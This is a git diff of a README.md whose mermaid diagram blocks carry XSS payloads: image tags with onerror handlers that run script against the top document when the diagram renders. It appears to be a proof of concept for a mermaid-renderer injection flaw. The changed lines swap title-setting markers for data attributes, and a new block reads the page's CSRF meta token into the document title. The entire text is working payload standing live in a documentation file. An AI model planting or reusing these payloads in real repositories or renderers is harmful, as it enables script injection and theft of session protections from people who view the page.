diff --git a/README.md b/README.md
index a998cb4..80e8d51 100644
--- a/README.md
+++ b/README.md
@@ -2,11 +2,16 @@
 
 ```mermaid
 erDiagram
-  A ||--o{ B : "<img src=x onerror=top.document.title='MMXSS-POC'>"
+  A ||--o{ B : "<img src=x onerror=top.document.documentElement.setAttribute('data-er','POC-ER')>"
 ```
 
 ```mermaid
 sequenceDiagram
-  participant A as Alice<img src=x onerror=top.document.title='MMXSS-POC'>$$\text{A}$$
+  participant A as Alice<img src=x onerror=top.document.documentElement.setAttribute('data-seq','POC-SEQ')>$$\text{A}$$
   A->>B: hi
 ```
+
+```mermaid
+erDiagram
+  C ||--o{ D : "<img src=x onerror=top.document.title=top.document.querySelector('meta[name=_csrf]').content>"
+```